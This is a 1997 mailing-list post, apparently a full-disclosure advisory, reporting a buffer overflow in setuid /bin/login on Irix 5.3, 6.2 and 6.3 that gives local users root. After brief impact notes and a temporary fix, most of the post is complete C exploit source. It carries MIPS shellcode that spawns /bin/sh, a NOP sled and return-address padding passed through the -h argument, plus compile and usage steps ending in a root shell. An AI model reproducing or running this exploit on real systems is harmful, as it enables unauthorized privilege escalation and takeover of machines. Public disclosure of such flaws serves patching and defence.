hey, guess what! another Irix buffer overflow!

David Hedley (hedley@CS.BRIS.AC.UK)
Mon, 26 May 1997 23:44:13 +0100

Yet another buffer overflow for you. This time in /bin/login.

Impact: local users can get root access
Vulnerable to this exploit: Irix 5.3 Irix64 6.2 Irix 6.3
Tested on: R3000 Indigo (5.3), R4400 Indy (5.3), R5000 O2 (6.3), R8000
PChallenge (Irix64 6.2)
Temporary fix: chmod u-s /bin/login

Note this will break login, although it should still work when called
from telnetd, getty etc

Compile the exploit with the '-n32' flag if compiling under 6.x

When run, you will be prompted for a password. Just press enter at this
point and you will handed a root shell.

Regards,

David

--
 David Hedley (hedley@cs.bris.ac.uk)
 finger hedley@cs.bris.ac.uk for PGP key
 Computer Graphics Group | University of Bristol | UK


--------------------- cut here --------------------------------


/* /bin/login exploit by DCRH 24/5/97
 *
 * Tested on:   R3000 Indigo (Irix 5.3)
 *              R4400 Indy (Irix 5.3)
 *              R5000 O2 (Irix 6.3)
 *              R8000 Power Challenge (Irix 6.2)
 *
 * Compile as: cc -n32 login.c     (for Irix 6.x)
 *             cc login.c          (for Irix 5.x)
 *
 * Press enter when prompted for a password
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>


#define BUF_LENGTH      200
#define EXTRA           300
#define OFFSET          0x1b0
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */


#define u_long unsigned




u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};


u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};


char buf[BUF_LENGTH + EXTRA + 8];


void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;


    stack = get_sp();


    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;


    if (argc > 1)
      targ_addr += atoi(argv[1]);


    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
      targ_addr += 4;


    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;


    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];


    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 24) | (targ_addr >> 8);


    *long_p = 0;


    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);


    execle("/bin/login", "login", "-h", &buf[1], 0, env);
    perror("execl failed");
}